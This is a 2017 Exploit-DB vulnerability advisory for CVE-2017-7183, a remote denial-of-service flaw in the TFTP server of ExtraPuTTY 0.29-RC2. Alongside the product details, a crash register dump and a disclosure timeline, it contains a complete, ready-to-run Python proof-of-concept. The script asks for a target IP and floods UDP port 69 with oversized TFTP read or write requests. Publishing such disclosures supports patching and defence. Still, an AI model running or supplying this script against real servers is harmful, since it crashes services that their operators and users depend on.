ExtraPuTTY 0.29-RC2 – Denial of Service

  • 作者: hyp3rlinx
    日期: 2017-03-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41639/
  • [+] Credits: John Page AKA hyp3rlinx	
    [+] Website: hyp3rlinx.altervista.org
    [+] Source:http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt
    [+] ISR: ApparitionSec
     
    
    
    Vendor:
    ==================
    www.extraputty.com
    
    
    
    Product:
    ======================
    ExtraPuTTY - v029_RC2
    hash: d7212fb5bc4144ef895618187f532773
    
    Also Vulnerable: v0.30 r15
    hash: eac63550f837a98d5d52d0a19d938b91
    
    ExtraPuTTY is a fork from 0.67 version of PuTTY.
    ExtraPuTTY has all the features from the original soft and adds others.
    
    Below a short list of the principal features (see all features):
    DLL frontend
    TestStand API ( LabWindows ,TestStand 2012)
    timestamp
    StatusBar
    Scripting a session with lua 5.3.
    Automatic sequencing of commands.
    Shortcuts for pre-defined commands.
    Keyboard shortcuts for pre-defined command
    Portability (use of directories structure)
    Integrates FTP,TFTP,SCP,SFTP,Ymodem,Xmodem transfert protocols
    Integrates PuTTYcyg,PuTTYSC, HyperLink, zmodem and session manager projects
    Change default settings from configuration file
    Change putty settings during session
    PuTTYcmdSender : tool to send command or keyboard shortcut to multiple putty windows
    
    
    Vulnerability Type:
    =======================
    TFTP Denial of Service
    
    
    
    CVE Reference:
    ==============
    CVE-2017-7183
    
    
    
    Security Issue:
    ================
    TFTP server component of ExtraPuTTY is vulnerable to remote Denial of Service attack by sending large junk UDP
    Read/Write TFTP protocol request packets. 
    
    Open ExtraPuTTY Session Manager, select => Files Transfer => TFTP Server, run below Python exploit.
    
    Then, BOOM
    
    (100c.30c): Access violation - code c0000005 (first/second chance not available)
    *** ERROR: Symbol file could not be found.Defaulted to export symbols for kernel32.dll - 
    eax=00000000 ebx=0929ee98 ecx=00000174 edx=7efefeff esi=00000002 edi=00000000
    eip=77b4015d esp=0929ee48 ebp=0929eee4 iopl=0 nv up ei pl zr na pe nc
    cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00000246
    ntdll!ZwWaitForMultipleObjects+0x15:
    
    
    
    Exploit/POC:
    =============
    import socket
    
    print "ExtraPuTTY v029_RC2 TFTP Server"
    print "Remote Denial Of Service 0day Exploit"
    print "John Page AKA hyp3rlinx\n"
    
    TARGET=raw_input("[IP]>")
    TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))
    CRASH="A"*2000 
    PORT = 69
    
    if TYPE==1:
    PAYLOAD = "\x00\x01" 
    PAYLOAD += CRASH + "\x00" 
    PAYLOAD += "netascii\x00"
    elif TYPE==2:
    PAYLOAD = "\x00\x02" 
    PAYLOAD += CRASH + "\x00" 
    PAYLOAD += "netascii\x00"
    
    try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))
    recv = s.recvfrom(255)
    if recv != None:
    print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)
    s.sendto(PAYLOAD, (TARGET, PORT))
    except Exception:
    print 'Server not avail, try later'
    s.close()
    
    
    
    
    
    Network Access:
    ===============
    Remote
    
    
    
    Severity:
    =========
    Medium
    
    
    
    Disclosure Timeline:
    ===============================
    Vendor Notification:No reply
    March 20, 2017 : Public Disclosure
    
    
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
    or exploits by the author or elsewhere. All content (c).
    
    hyp3rlinx